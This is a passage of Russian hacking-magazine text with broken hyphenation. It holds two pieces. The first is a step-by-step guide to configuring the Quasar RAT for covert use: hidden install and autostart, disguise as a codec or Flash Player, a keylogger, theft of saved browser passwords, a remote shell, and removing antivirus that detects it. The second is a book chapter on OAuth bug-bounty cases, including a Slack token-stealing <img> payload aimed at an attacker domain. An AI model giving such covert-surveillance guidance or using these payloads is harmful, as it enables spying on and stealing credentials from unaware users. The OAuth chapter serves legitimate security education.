ным.  Пос ле  уста нов ки  на  уда лен ной  машине  кли ент  работа ет  авто ном но,
пыта ясь соеди нить ся с сер вером через задан ные про межут ки вре мени либо
по IP‐адре су (под держи вает ся IPv4 и IPv6), либо по DNS‐име ни. Общий алго‐ 
ритм дей ствий таков: нуж но запус тить сер вер, ука зать необ ходимые нас трой‐ 
ки,  сбил дить  при ложе ние‐кли ент  и  залить  его  на  уда лен ную  машину.  Все
прос то.

Конфигурируем сервер
Пос ле  запус ка  прог раммы    нам  пред ложат  соз дать  сер тификат,
с помощью которо го будет уста нав ливать ся защищен ное соеди нение меж ду
сер вером и кли ентом. Если Quasar уже исполь зовал ся на тво ем компь юте ре,
мож но импорти ровать сущес тву ющий сер тификат, в про тив ном слу чае прог‐ 
рамма  соз даст  файл  ,  который  луч ше  сра зу  же  прип рятать
в  укромное мес то.  Если  при дет ся  пере уста новить  «Ква зар»,  без  него  будет
невоз можно соеди нить ся с дру гими машина ми, на которых запущен RAT, что
гро зит потерей всех кли ентов.

Quasar.exe
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При пер вом запус ке Quasar пред лага ет соз дать или импорти ровать сер ‐
тификат

Жми  кноп ку  Create,  а  затем  —  Save.  Теперь  сме ло  запус кай 
и жми над пись Settings в вер хней час ти окна. По умол чанию Quasar исполь‐ 
зует для свя зи TCP‐порт 4782, но ты можешь выб рать вмес то него любой дру‐ 
гой сво бод ный порт, ука зав его в поле Port to listen on. Потом этот порт тебе
нуж но будет открыть в фай рво ле, нас тро ив соот ветс тву ющее пра вило.

Quasar.exe

Нас тра иваем Quasar Server

Все  осталь ные  парамет ры  окна  нас трой ки  сер вера  име ют  сле дующие  зна‐ 
чения:

Enable  IPv6  Support  —  вклю чить  под дер жку  про токо ла  IPv6,  если  он
исполь зует ся в тво ей сети;

•

Listen for new connections on startup — авто мати чес ки начать прос лушива‐ 
ние новых вхо дящих соеди нений от кли ентов при запус ке сер вера;

•

Show  popup  notification  on  new  connection  —  отоб ражать  всплы вающее
сооб щение при новом соеди нении;

•

Try to automatically forward the port (UPnP) — пытать ся авто мати чес ки проб‐ 
расывать порт для под дер жки UPnP;

•

Show  tooltip  on  client  with  system  information —  показы вать  на  уда лен ных
кли ент ских машинах  всплы вающую  под сказ ку  с  сис темной  информа цией
(для обес печения скрыт ности эту фун кцию луч ше не исполь зовать).

•

От дель но сле дует ска зать о фун кции Enable No‐IP.com DNS updater. Если твое
сетевое  под клю чение  исполь зует  динами чес кий  IP,  у  под клю чающих ся
из интерне та  кли ентов неиз бежно воз никнут проб лемы с  уста нов кой соеди‐ 
нения.  Решить  их  мож но  с  помощью  DDNS‐сер виса  ,  поз воля юще го
соз дать хос тнейм (hostname) в фор мате DNS и при вязать его к тво ей машине.
В моем слу чае кли ент рас полагал ся в моей же локаль ной сети, и я нас тро ил
на  сер вере  ста тичес кий  IP‐адрес,  отклю чив  в  нас трой ках  соеди нения  авто‐ 
мати чес кое  получе ние  IP  через  DHCP.  Если  твои  кли енты  рас полага ются
в  интерне те  и  внеш него  ста тичес кого  адре са  у  тебя  нет,  зарегис три руй ся
на   и вве ди дан ные сво ей учет ки в окне нас тро ек сер вера.

No‐IP
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Билдим клиент
Что бы  соз дать  кли ент ское  при ложе ние,  щел кни  мышью  по  над писи  Builder
в  вер хней  час ти  окна  прог раммы.  Окош ко  бил дера  содер жит  пять  вкла док,
по которым мы сей час быс трень ко про бежим ся.

Вклад ка Basic Settings нас трой ки бил дера

На  вклад ке  Basic  Settings  нуж но  ука зать  Client  Tag  —  это  сво его  рода  ID,
по  которо му  будет  иден тифици ровать ся  кли ент ская машина.  Луч ше  дать  ей
какое‐то осмыслен ное наз вание, что бы ты не запутал ся в под клю чени ях, если
кли ентов будет нес коль ко. В поле Mutex отоб ража ется мьютекс, который пре‐ 
дот вра щает  запуск  нес коль ких  экзем пля ров  прог раммы  на  кли ент ском
компь юте ре.  Его мож но  оста вить  как  есть. Для  пущей  скрыт ности  рекомен‐ 
дует ся  уста новить  фла жок  Enable  unattended  mode.  Он  поз волит  управлять
кли ент ской машиной, не прив лекая вни мания поль зовате ля — в этом слу чае
ему  не  будут  демонс три ровать ся  никакие  окна,  сооб щающие  об  уста нов ке
соеди нения с сер вером, а в трее не отоб разит ся зна чок Quasar.

На вклад ке Connection Settings нуж но ука зать IP‐адрес или видимое в сети
имя машины, где раз вернут сер вер, порт для под клю чения и интервал в мил‐ 
лисекун дах,  через  который  кли ент ская  машина  ста нет  пытать ся  уста новить
или  возоб новить  соеди нение.  Все  эти  дан ные  будут  зашиты  в  кли ент скую
прог рамму, и изме нить их потом ока жет ся невоз можно, так что будь вни мате‐ 
лен.

Вклад ка Connection Settings нас трой ки бил дера

Вклад ка  Installation Settings управля ет парамет рами уста нов ки и запус ка кли‐ 
ента.  Кли ент ское  при ложе ние  Quasar  может  быть  уста нов лено  в  три  пап ки:

  текуще го  поль зовате ля,    или    —
при этом пос ледние две пот ребу ют наличия от поль зователь ской учет ки при‐ 
виле гий  локаль ного  адми нис тра тора.  Выбери  соот ветс тву ющий  вари ант,
уста новив фла жок Install Client.

AppData\Roaming Program  Files System

Нас трой ка парамет ров уста нов ки и запус ка кли ента

Те перь нуж но выб рать имя пап ки для уста нов ки при ложе ния (Install Subdirec‐
tory)  и  имя  самой прог раммы  (Install Name). Прис воить  этой  под дирек тории
и фай лу кли ента пос ле уста нов ки атри бут «скры тый» поз воля ют флаж ки Set file
attributes to hidden и Set subdir attributes to hidden. Что бы не изоб ретать спо‐ 
собы  авто мати чес кого  запус ка  прог раммы  на  кли ент ской машине,  уста нови
фла жок Run Client when  the  computer  starts  и  вве ди отоб ража емое имя  кли‐ 
ента  в  поле Startup Name — имен но  оно  будет  отоб ражать ся  в  парамет рах
авто запус ка и в спис ке про цес сов на уда лен ном ПК.

Вклад ка  Assembly  Settings  поз воля ет  нас тро ить  такие  парамет ры  сбор ки
прог раммы‐кли ента, как наз вание при ложе ния и ее про изво дите ля, копирайт,
номер вер сии, а так же добавить кас томизи рован ный зна чок. Все это, как ты
понима ешь,  отоб ража ется  в  свой ствах  инстал лятора,  если  кто‐то  любопыт‐ 
ный пожела ет туда заг лянуть. То есть кли ент мож но замас кировать под любой
дру гой  исполня емый  файл  —  хоть  кодек,  хоть  обновле ние  вин ды,  хоть
баналь ный Adobe Flash Player.

Нас трой ка кей лог гера

Ес ли  ты  хочешь,  что бы  кли ент  выпол нял  ко  все му  про чему фун кции  кей лог‐ 
гера,  перей ди  на  вклад ку  Monitoring  Settings,  уста нови  фла жок  Enable  key‐
board  logging,  вве ди  наз вание  пап ки,  в  которую  будет  сох ранять ся  жур нал
кей лог гера,  и  сде лай  ее  скры той,  пос тавив  гал ку  Set  directory  attributes
to hidden.

Те перь мож но нажать кноп ку Build и ввес ти имя для фай ла кли ента. Оста‐ 
лось толь ко уста новить его на уда лен ной машине: у меня исполня емый файл
кли ента получил ся очень ком пак тным — все го 502 Кбайт.

ТЕСТИРУЕМ «КВАЗАР»
Для начала я попытал ся уста новить кли ент на тес товой машине с вклю чен ным
анти виру сом  Кас пер ско го.  Разуме ется,  фокус  не  про шел:  тот  бла гопо луч но
при бил  тул зу  пря мо  на  флеш ке,  не  поз волив  ско пиро вать  ее  на  комп
или  запус тить.  К  сожале нию,  добав ление  прог раммы  в  исклю чения  так же
не  помог ло:  «Кас пер»  бло киро вал  запуск  кли ента  даже  при  отклю чен ной
активной защите, пос ле чего  уда лял его, радос тно рапор туя,  что обна ружил
ковар ный и опас ный тро ян (при чем ловит он его, судя по все му, эвристи кой).

Мож но,  конеч но,  нак рыть  исполня емый файл  каким‐нибудь  про тек тором,
но  мне  было  лень  возить ся,  поэто му  единс твен ным  дос тупным  вари антом
для  меня  ста ло  пол ное  уда ление  анти виру са  на  кли ент ской  машине,  что,
в общем‐то, нес ложно при наличии к ней непос редс твен ного дос тупа. При‐ 
меча тель но,  что  при  запус ке  уста новоч ного  фай ла  кли ента  не  про исхо дит
вооб ще ничего: на экра не не появ ляет ся никаких окон или пре дуп режде ний,
но при этом кли ент успешно копиру ется в ука зан ную при его сбор ке пап ку.

Пос ле  перезаг рузки  уда лен ной  машины  запус каем  на  сер вере 
, нажима ем в вер хней час ти окна над пись Settings и жмем на кноп ку Start

Listening.  На  экра не  появит ся  окно  с  пред ложени ем  добавить  выб ранный
в нас трой ках порт в пра вила бран дма уэра. Сог лаша емся — и в спис ке уда‐ 
лен ных хос тов мы видим нашу целевую машину. Уда лен ный компь ютер может
исчезнуть  из  спис ка,  если  поль зователь  вык лючил  его  или  отклю чил ся
от сети, и авто мати чес ки появ ляет ся сно ва при вклю чении или возоб новле‐ 
нии соеди нения.

Quasar.
exe

Вхо дящее под клю чение выпол нено успешно

Все опе рации на уда лен ной машине выпол няют ся по щел чку пра вой кноп кой
мыши на ее иден тифика торе в окне Quasar Server.

Удаленное администрирование
Все  основные  фун кции  уда лен ного  адми нис три рова ния  сос редото чены
в  кон текс тном  меню  Administration.  Здесь  мож но  отыс кать  сле дующие  воз‐ 
можнос ти вза имо дей ствия с кли ент ской машиной:

System  Information  —  вывод  под робной  информа ции  об  аппа рат ной
и прог рам мной кон фигура ции уда лен ного компь юте ра;

•

File Manager —  удоб ный  окон ный фай ловый менед жер,  похожий  на  про‐ 
вод ник  Windows:  он  поз воля ет  переме щать ся  по  дис кам  уда лен ного
компь юте ра,  ска чивать  и  заг ружать  фай лы,  запус кать  их,  если  они
исполня емые, пере име новы вать, уда лять и добав лять в авто заг рузку;

•

Startup Manager — ути лита управле ния авто заг рузкой: показы вает текущие
объ екты  в  авто заг рузке  и  отве чающие  за  них  вет ви  реес тра.  Что бы
добавить новый объ ект, щел кни в окне менед жера пра вой кноп кой мыши
и выбери Add Entry;

•

Task  Manager  —  откры вает  окно  со  спис ком  запущен ных  на  уда лен ной
машине  задач.  Поз воля ет  убить  любой  из  запущен ных  про цес сов
или запус тить новый;

•

Remote Shell — уда лен ное выпол нение команд в обо лоч ке  ;• cmd.exe

TCP Connections —  демонс три рует  спи сок  откры тых  на  уда лен ном  хос те
TCP‐соеди нений. С помощью кон текс тно го меню мож но обно вить соеди‐ 
нение или зак рыть его;

•

Reverse Proxy — под нима ет на кли ент ской машине обратный прок си;•
Registry Editor — откры вает окно уда лен ного редак тора реес тра;•
Remote execute — запуск на кли ент ском ПК локаль ного фай ла или фай ла
из интерне та, URL которо го ты ука жешь в открыв шемся окне;

•

Actions — коман да на вык лючение, перезаг рузку или гибер нацию уда лен‐ 
ной машины.

•

Фай ловый менед жер Quasar очень похож на обыч ный про вод ник
Windows

Мониторинг и работа с удаленным хостом
Од на  из  самых  инте рес ных  воз можнос тей Quasar  RAT —  прос мотр  уда лен‐ 
ного  рабоче го  сто ла.  Эта  фун кция  дос тупна  в  меню  Monitoring →  Remote
Desktop или User Support → Remote Desktop. В вер хней час ти окна  уда лен‐ 
ного  дес кто па  рас положен  регуля тор,  с  помощью  которо го  мож но  задать
качес тво  кар тинки  (чем оно выше,  тем боль ше будет  тра фик),  и две  кноп ки,
поз воля ющие вклю чить либо отклю чить переда чу управля ющих сиг налов тво‐ 
ей мыши и кла виату ры на кли ент скую машину. Наж ми кноп ку Start, что бы под‐ 
клю чить ся к  уда лен ному рабоче му сто лу, и Stop, если хочешь прер вать сес‐ 
сию.

Се анс уда лен ного рабоче го сто ла

Фун кция Monitoring → Password Recovery поз воля ет вытащить все сох ранен‐ 
ные  в  бра узе ре  поль зовате ля  пароли.  Информа ция  пред став ляет ся  в  виде
таб лички с адре сом сай та и сох ранен ным паролем, ты можешь ско пиро вать
его в отдель ный файл, в буфер обме на или сте реть на уда лен ном ком пе.

В  раз деле  Monitoring →  Keylogger  хра нят ся  жур налы  кей лог гера  Quasar
RAT.  Логи  тул за  сох раня ет  в  виде  фай лов  HTML,  каж дый  из  них  содер жит
информа цию о при ложе нии, в котором выпол нялся ввод, и запись о нажатых
кла вишах. Спи сок дос тупных логов обновля ется нажати ем на кноп ку Get Logs
в левом вер хнем углу окна.

Жур нал кей лог гера Quasar RAT

Кон текс тное меню User  Support,  помимо  еще одной  кноп ки  вызова  уда лен‐ 
ного рабоче го сто ла, содер жит пун кты Show Messagebox, с помощью которо‐ 
го мож но показать юзе ру диало говое окно с про изволь ным тек стом, и Send
to Website — вве ден ный тобой URL откро ется на уда лен ной машине в бра узе‐ 
ре,  нас тро енном  по  умол чанию.  А  если  ты  уста новишь  фла жок  Visit  hidden,
поль зователь  ничего  не  уви дит,  но  сайт  откро ется  в  скры том  окне,  и  его
посеще ние оста нет ся в History.

Пе ред отправ кой диало гово го окна конеч ному получа телю мож но про ‐
тес тировать его на сво ей машине

На конец,  кон текс тное меню Client Management  откры вает  перед  уда лен ным
адми нис тра тором сле дующие воз можнос ти:

Elevate Client Permissions — Quasar попыта ется повысить сис темные при‐ 
виле гии при ложе ния‐кли ента на уда лен ной машине (при этом у него сра‐ 
бота ет UAC с прось бой под твер дить запуск скрип та в коман дной стро ке,
поэто му будь осто рожен);

•

Update  —  коман да  на  обновле ние  кли ента:  выбери  файл  кли ента
на  локаль ной  машине  или  ука жи  URL  его  рас положе ния  в  интерне те,
выбери кли ент в спис ке и наж ми Execute Remotely;

•

Reconnect — возоб новить соеди нение с уда лен ной машиной;•
Disconnect — разор вать соеди нение;•
Reinstall — уда лить кли ент с поль зователь ско го компь юте ра.•

ЗАКЛЮЧЕНИЕ
«Ква зар» —  весь ма  мощ ный  и  муль тифун кци ональ ный  инс тру мент  для  уда‐ 
лен ного управле ния, отсле жива ния дей ствий поль зовате ля, а так же для сбо‐ 
ра  инте ресу ющей  адми нис тра тора  информа ции  на  уда лен ной  машине.
Исполня емый  файл  кли ента  занима ет  все го  пару  сотен  килобайт,  поэто му
может быть дос тавлен в целевую сис тему мно жес твом раз личных спо собов.
Как показа ла прак тика, работа ет при ложе ние дос таточ но быс тро и ста биль‐ 
но.

Кли ент ская часть живет в поль зователь ской вин де тихо и незамет но, прак‐ 
тичес ки  не  пот ребляя  ресур сов.  Единс твен ный  серь езный  недос таток  это го
инс тру мен та — кли ент палит ся анти виру сами (по край ней мере анти виру сом
«Лабора тории  Кас пер ско го»),  что  пот ребу ет  либо  отклю чить  защиту,  либо
шаманить с упа ков щиками и про тек торами. Да и их исполь зование не гаран‐ 
тиру ет  «невиди мос ти»  ути литы для эвристи чес ких ана лиза торов, отсле жива‐ 
ющих  подоз ритель ные  при ложе ния  по  их  поведе нию.  А  поведе ние  Quasar
RAT, надо ска зать, очень подоз ритель ное!

Ины ми сло вами, «Ква зар» — доволь но неп лохая аль тер натива дру гим ути‐ 
литам  уда лен ного  адми нис три рова ния  вро де  TeamViewer,  осо бен но  если
исполь зовать  ее  нуж но,  не  вызывая  лиш них  воп росов  у  юзе ра.  А  вот  то,
как имен но исполь зует ся эта тул за, оста нет ся на совес ти поль зовате ля. Глав‐ 
ное — не забывай об ответс твен ности, которую наше законо датель ство пре‐ 
дус матри вает за рас простра нение нехоро ших прог рамм и шалос ти с несан‐ 
кци они рован ным дос тупом к чужим компь юте рам.
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ВЗЛОМ

OAuth — это откры тый про токол,  который упро щает и стан‐ 
дарти зиру ет безопас ную авто риза цию в вебе, на мобиль ных
устрой ствах  и  в  нас толь ных  при ложе ниях.  Он  поз воля ет
регис три ровать ся  без  ука зания  име ни  поль зовате ля
и  пароля.  На  сай тах  он  час то  име ет  вид  кноп ки  для  вхо да
с  помощью  Facebook,  Google,  LinkedIn,  Twitter  и  т.  д.  Уяз‐ 
вимос ти  в  OAuth  свя заны  с  кон фигура цией  при ложе ния
и воз ника ют в резуль тате оши бок в реали зации. Учи тывая их
пос ледс твия  и  рас простра нен ность,  они  зас лужива ют
обсужде ния.

Нес мотря на мно жес тво раз новид ностей, мы сде лаем акцент на слу чаях, ког‐ 
да  уяз вимость  в  OAuth  поз воля ет  похитить  аутен тифика цион ные  токены
и получить дос туп к информа ции о жер тве на сер вере ресур са.

На момент написа ния у OAuth есть две вер сии, 1.0a и 2.0, которые несов‐ 
мести мы друг с дру гом. По OAuth написа ны целые кни ги, но эта гла ва фокуси‐ 
рует ся на OAuth 2.0 и базовом рабочем про цес се OAuth.

О книге

Пе ред тобой — 17‐я гла ва из кни ги «Ловуш ка для багов. Полевое руководс‐ 
тво  по  веб‐хакин гу»,  которую  мы  пуб лику ем  с  раз решения  изда тель ства
«Питер».

Эта кни га поможет в совер шенс тво вании скил лов работы с вебом и рас‐ 
ска зыва ет о методо логии этич ного веб‐хакин га. Чита ется она отлично, слов‐ 
но детек тивный рас сказ. Каж дая опи сыва емая уяз вимость име ет парамет ры:
слож ность, ата кован ный URL, URL стра ницы, где хакер опи сал про веден ную
ата ку,  дата  подачи  отче та  и  сум ма  вып лачен ного  хакеру  воз награж дения.
Сре ди про чего есть опи сание удач ного взло ма PornHub.com.

Ес ли  бы  здесь  было  толь ко  опи сание  совер шенных  атак,  то  кни га  бы
не  име ла  прак тичес кого  при мене ния.  Поэто му  автор  ана лизи рует  каж дое
дей ствие взлом щика, выпол ненное им для дос тижения резуль тата. Читате лю
не сос тавит тру да пов торить опи сан ные опе рации.

Для  самых  зеленых  хакеров  в  кни ге  есть  гла ва,  в  которой  целиком  опи‐ 
сыва ется опе рация про веде ния взло ма веб‐ресур са, разоб ран каж дый этап,
сре ди которых: раз ведка перед ата кой, сос тавле ние спис ка под доменов, ска‐ 
ниро вание  пор тов,  обна руже ние  содер жимого,  опре деле ние  сте ка  тех‐ 
нологий и про чее.

А на слад кое при пасе ны два при ложе ния. В пер вом при веде но опи сание
исполь зуемых  хакером  при ложе ний,  а  во  вто ром  дают ся  ссыл ки  на  допол‐ 
нитель ные видео и тек сто вые матери алы по взло му сай тов.

ПРИНЦИП РАБОТЫ OAUTH
В про цес се аутен тифика ции на осно ве OAuth учас тву ют три сто роны:

Вла делец ресур са — поль зователь, пыта ющий ся вой ти через OAuth.•
Сер вер  ресур са —  сто рон ний  API‐интерфейс,  который  аутен тифици рует
вла дель ца ресур са. Эту роль может играть любой сайт (Facebook, Google,
LinkedIn и т. д.).

•

Кли ент — сто рон нее при ложе ние, которое посеща ет/исполь зует вла делец
ресур са. Име ет дос туп к дан ным сер вера ресур са.

•

При  попыт ке  аутен тифика ции  с  помощью OAuth  кли ент  зап рашива ет  дос туп
к вашей информа ции у сер вера ресур са  (в дан ном слу чае у вас). Его может
инте ресо вать  пол ный  набор  ваших  дан ных  или  их  часть,  огра ничен ная
областя ми  видимос ти.  Нап ример,  поль зовате ли  в  Facebook  име ют  такие
области  видимос ти,  как  ,  ,    и  т.  д.  Если
выдать  кли енту  дос туп  толь ко  к  email,  он  не  смо жет  получить  содер жимое
вашего про филя, спи сок дру зей и т. п.

email public_profile user_friends

Про цесс  пер вого  вхо да  в  кли ент  с  исполь зовани ем  Facebook  в  качес тве
демонс тра цион ного сер вера ресур са начина ется, ког да вы откры ваете стра‐ 
ницу кли ента и нажима ете кноп ку  . Кли ент выпол няет
GET‐зап рос  к  конеч ной  точ ке  аутен тифика ции,  которая  час то  име ет  такой
путь:  .  Shopify,  к  при меру,
исполь зует  для  OAuth  стра ницу  Google  с  URL‐адре сом 

.

Войти через Facebook

https://www.<example>.com/oauth/facebook/
https://<STORE>.

myshopify.com/admin/auth/login?google_apps=1/
В ответ на этот HTTP‐зап рос кли ент перенап равля ет вас к сер веру ресур‐ 

са, исполь зуя код 302. URL‐адрес стра ницы перенап равле ния содер жит сле‐ 
дующие парамет ры, учас тву ющие в про цес се аутен тифика ции:

 иден тифици рует кли ент на сер вере ресур са уни каль ным зна‐ 
чени ем.

• client_id

 опре деля ет, куда сер вер ресур са дол жен нап равить бра‐ 
узер вла дель ца пос ле его аутен тифика ции.

• redirect_uri

  опре деля ет  тип  воз вра щаемо го  отве та.  Обыч но
это  токен  или  код.  В  слу чае  воз вра щения  токена  поль зователь  сра зу  же
получа ет дос туп к информа ции на сер вере ресур са. Если вы получи ли код,
его нуж но обме нять на токен в ходе допол нитель ного эта па OAuth.

• response_type

Па раметр scope опре деля ет пра ва дос тупа, которые кли ент зап рашива ет
у сер вера ресур са. В ходе пер вого зап роса авто риза ции вла дель цу ресур‐ 
са  дол жно  быть  показа но  диало говое  окно,  в  котором  он  может  прос‐ 
мотреть зап рашива емые области видимос ти и дать свое сог ласие.

•

 —  это  слу чай ное  зна чение,  пре дот вра щающее  под делку меж сай‐ 
товых  зап росов.  Оно  дол жно  при сутс тво вать  в  HTTP‐зап росе  к  сер веру
ресур са.  Это  зна чение  воз вра щает ся  кли енту,  что бы  зло умыш ленник
не  смог  ини цииро вать  про цесс  аутен тифика ции  от  име ни  дру гого  поль‐ 
зовате ля.

• state

URL‐адрес, ини циирующий про цеду ру OAuth с помощью Facebook, выг лядит
при мер но так:

https://www.facebook.com/v2.0/dialog/oauth?dientjd=123&redirect_
uri=https%3A%2F%2Fwww.<example>.com%2Foauth%2FcaNback&response_
type=token&scope=email&state=XYZ 

По лучив  ответ  с  кодом  перенап равле ния  302,  бра узер  отправ ляет  сер веру
ресур са GET‐зап рос. Вой дя на сер вер ресур са, вы уви дите диало говое окно,
с  помощью  которо го  мож но  одоб рить  области  видимос ти,  зап рашива емые
кли ентом.  На  рис.  17.2  показа но,  как  веб‐сайт Quora  (кли ент)  зап рашива ет
дос туп  к  информа ции  у  Facebook  (сер вера  ресур са)  от  име ни  вла дель ца
ресур са.

На жатие кноп ки Continue as John (Про дол жить как Джон) при водит к одоб‐ 
рению зап роса сай та Quora на получе ние дос тупа к перечис ленным областям
видимос ти, вклю чая про филь, спи сок поль зовате лей, дату рож дения, род ной
город вла дель ца ресур са и про чие све дения. Ког да вла делец наж мет кноп ку,
Facebook  вер нет  HTTP‐ответ  с  кодом  302,  который  перенап равит  бра узер
обратно к стра нице с URL‐адре сом, ука зан ным в парамет ре redirect_uri. Этот
адрес  так же  содер жит  токен  и  параметр  state.  Адрес  перенап равле ния
из Facebook в Quora может выг лядеть так (изме нено в целях демонс тра ции):

https://www.quora.com?access_token=EAAMH86O7b...GtKqljBZA8&expires_
in=5625&state=F32AB83299DADDBAACD82DA 

Сер вер  Facebook  вер нул  токен  access_token,  с  помощью  которо го  кли ент
Quora  мог  сра зу  же  получить  дос туп  к  информа ции  о  вла дель це  ресур са.
На  этом  учас тие  вла дель ца  в  про цеду ре  OAuth  завер шено.  Теперь  кли ент
может нап рямую обра щать ся к Facebook API за нуж ной ему поль зователь ской
информа цией.

Вла делец смо жет даль ше исполь зовать кли ент, не зная о его вза имо дей‐ 
ствии с API‐интерфей сом.

Рис. 17.2. Вход в Quora через Facebook с авто риза цией областей
видимос ти

Но если бы вмес то    сайт Facebook вер нул  код,  кли енту Quora
приш лось  бы  обме нять  его  на  токен,  ина че  он  бы  не  смог  зап рашивать
информа цию у сер вера ресур са. Для это го кли ент и сер вер вза имо дей ству ют
нап рямую,  без  учас тия  бра узе ра  вла дель ца.  Что бы  получить  токен,  кли ент
сам выпол няет HTTP‐зап рос к сер веру ресур са и переда ет в URL‐адре се три
парамет ра: code  (код дос тупа)   и  . Код дос тупа —
это  зна чение,  которое сер вер  вер нул  через HTTP‐перенап равле ние со ста‐ 
тусом 302. Параметр   явля ется кон фиден циаль ным и дол жен
хра нить ся на сто роне кли ента. Он генери рует ся сер вером ресур са на эта пе
кон фигура ции при ложе ния и наз начения  .

access_token

client_id client_secret

client_secret

client_id
На конец,  получив  от  кли ента  зап рос  с  парамет рами  ,

 и  , сер вер про веря ет эти зна чения и воз вра щает в ответ 
.  Пос ле  это го  кли ент  получа ет  воз можность  зап рашивать  у  сер‐ 

вера информа цию о вла дель це ресур са, и про цеду ра OAuth счи тает ся завер‐ 
шенной.  Обыч но,  если  вы  уже  раз решили  сер веру  ресур са  пре дос тавлять
вашу информа цию, при сле дующем вхо де в кли ент через Facebook про цеду‐ 
ра OAuth выпол няет ся в фоновом режиме. Это вза имо дей ствие мож но будет
наб людать  толь ко  в  слу чае  монито рин га  HTTP‐зап росов.  Это  поведе ние
по  умол чанию.  Кли ент  может  его  изме нить  так,  что бы  вла делец  ресур са
заново аутен тифици ровал ся и одоб рял области видимос ти,  но это боль шая
ред кость.

client_secret
client_id code ac‐
cess_token

То,  нас коль ко  серь езной  явля ется  уяз вимость  в OAuth,  зависит  от  одоб‐ 
ренных областей видимос ти, свя зан ных с токеном. В этом вы сами убе дитесь
на сле дующих при мерах.

ПОХИЩЕНИЕ OAUTH-ТОКЕНОВ НА САЙТЕ SLACK
 низ кая• Слож ность:

 • URL: slack.com/oauth/authorize/
 • Ис точник: hackerone.com/reports/2575/

 1 мар та 2013 года• Да та подачи отче та:

 100 дол ларов• Вып лачен ное воз награж дение:

Од на из рас простра нен ных уяз вимос тей в OAuth воз ника ет, ког да раз работ‐ 
чик неп равиль но нас тра ивает или срав нива ет допус тимые парамет ры 

,  поз воляя  зло умыш ленни кам  похитить OAuth‐токены. Пра хар Пра‐ 
сад информи ровал ком панию Slack о том, что он может обой ти огра ниче ния,
ука зан ные в раз решен ном адре се  , за счет добав ления к нему
любых зна чений. Ины ми сло вами, сайт Slack про верял лишь начало парамет‐ 
ра  .  Если раз работ чик регис три ровал  в Slack  новое при ложе‐ 
ние  и  добав лял  в  белый  спи сок  ,  зло умыш‐ 
ленник мог рас ширить этот URL‐адрес и выпол нить перенап равле ние в неп‐ 
редви ден ное  мес то.  Нап ример,  изме нен ный  адрес  вида

  откло нял ся,  но  поз волял  передать
.

redi‐
rect_uri

redirect_uri

redirect_uri
https://www.<example>.com

redirect_uri=https://<attacker>.com
redirect_uri=https://www.<example>.com.mx

Что бы  этим  вос поль зовать ся,  зло умыш ленни ку  было  дос таточ но  соз дать
под ходящий под домен на сво ем вре донос ном сай те. Если жер тва откры вала
заражен ный URL‐адрес, сер вер Slack переда вал OAuth‐токен сай ту зло умыш‐ 
ленни ка. Хакер мог ини цииро вать зап рос от име ни жер твы, встро ив во вре‐ 
донос ную веб‐стра ницу тег   вро де такого:<img>

<img src=https://slack.com/oauth/authonze?responseJype=token&
dientJd=APP_ID&redirect_un=https://www.example.com.attacker.com> 

Это  поз волило бы  авто мати чес ки  сде лать HTTP‐зап рос  типа GET  при отоб‐ 
ражении стра ницы.

Выводы
Уяз вимос ти,  свя зан ные  с  недос таточ но  стро гой  про вер кой  ,
явля ются  рас простра нен ным  при мером  неп равиль ной  кон фигура ции OAuth.
Иног да это выз вано тем, что в качес тве допус тимого зна чения 
регис три рует ся  домен  вида  .  Иног да  при чина  в  том,  что
сер вер  ресур са  не  про водит  стро гую  про вер ку  парамет ра 
от  начала  и  до  кон ца.  При  поис ке  уяз вимос тей  в  OAuth  про веряй те  любые
парамет ры, которые могут учас тво вать в перенап равле нии.

redirect_uri

redirect_uri
*.<example>.com

redirect_uri

ПРОХОЖДЕНИЕ АУТЕНТИФИКАЦИИ С ПАРОЛЕМ ПО УМОЛЧАНИЮ
 низ кая• Слож ность:

 • URL: flurry.com/auth/v1/account/
 • Ис точник: lightningsecurity.io/blog/password‐not‐provided/

 30 июня 2017 года• Да та подачи отче та:

 не раз гла шает ся• Вып лачен ное воз награж дение:

По иск уяз вимос тей в любой реали зации OAuth под разуме вает иссле дова ние
всей про цеду ры аутен тифика ции, от начала и до кон ца. Для это го в том чис ле
необ ходимо  рас познать  HTTP‐зап росы,  которые  не  явля ются  частью  стан‐ 
дар тно го про цес са; их наличие час то сиг нализи рует о  том,  что раз работ чик
изме нил механизм аутен тифика ции и, воз можно, сде лал его уяз вимым. Джек
Кей бл стол кнул ся с подоб ной ситу ацией в работе с прог раммой Bug Bounty
от Yahoo, в которую вхо дил ана лити чес кий сайт  .Flurry.com

Что бы  начать  тес тирова ние,  Кей бл  зарегис три ровал  учет ную  запись
на  сай те  Flurry,  исполь зуя  свой  адрес  элек трон ной  поч ты 
и  реали зацию  OAuth  от  Yahoo.  Пос ле  того  как  Flurry  и  Yahoo  сог ласова ли
OAuth‐токен, зак лючитель ный POST‐зап рос к сай ту Flurry выг лядел так:

@yahoo.com

   POST /auth/v1/account HTTP/1.1
 Host: auth.flurry.com

 Connection: close
 Content‐Length: 205

 Content‐Type: application/vnd.api+json
 DNT: 1

 Referer: https://login.flurry.com/signup
 Accept‐Language: en‐US, en;q=0.8,la;q=0.6

{"data":{"type":"account","id":"...","attributes":{"email":"...
@yahoo.com","companyName":"1234","firstname":"]ack","lastname":
"cable","password":"not‐provided"}}}

Вни мание Кей бла прив лек фраг мент  зап роса  .
Вый дя  из  сво ей  учет ной  записи,  он  открыл  стра ницу 
и  аутен тифици ровал ся  не  через  OAuth,  а  с  помощью  поч тового  адре са
и пароля  . Это сра бота ло, и Кей бл смог вой ти в свою учет ную
запись.

"password":"not‐provided"
https://login.flurry.com/

not‐provided

Ког да  поль зователь  регис три ровал ся  на  сай те  Flurry  с  помощью  сво ей
учет ной  записи  Yahoo  и  про цеду ры  OAuth,  сис тема  соз давала  для  него
отдель ную кли ент скую учет ную запись с паролем по умол чанию 
.  Кей бл  сооб щил  об  уяз вимос ти,  и  проб лема  была  устра нена  через  пять

часов.

not‐provid‐
ed

Выводы
Нес тандар тные  эта пы  OAuth  час то  пло хо  скон фигури рова ны  и  под верже ны
уяз вимос тям, поэто му зас лужива ют про вер ки.

ПОХИЩЕНИЕ ТОКЕНОВ ДЛЯ ВХОДА НА САЙТ MICROSOFT
 высокая• Слож ность:

 • URL: login.microsoftonline.com
 • Ис точник: whitton.io/articles/obtaining‐tokens‐outlook‐office‐azure‐ac‐

count/
 24 янва ря 2016 года• Да та подачи отче та:

 13 000 дол ларов• Вып лачен ное воз награж дение:

На  сай те  Microsoft  не  реали зова на  стан дар тная  про цеду ра  OAuth,  но  там
исполь зует ся  очень  похожий  про цесс,  который  под ходит  для  тес тирова ния
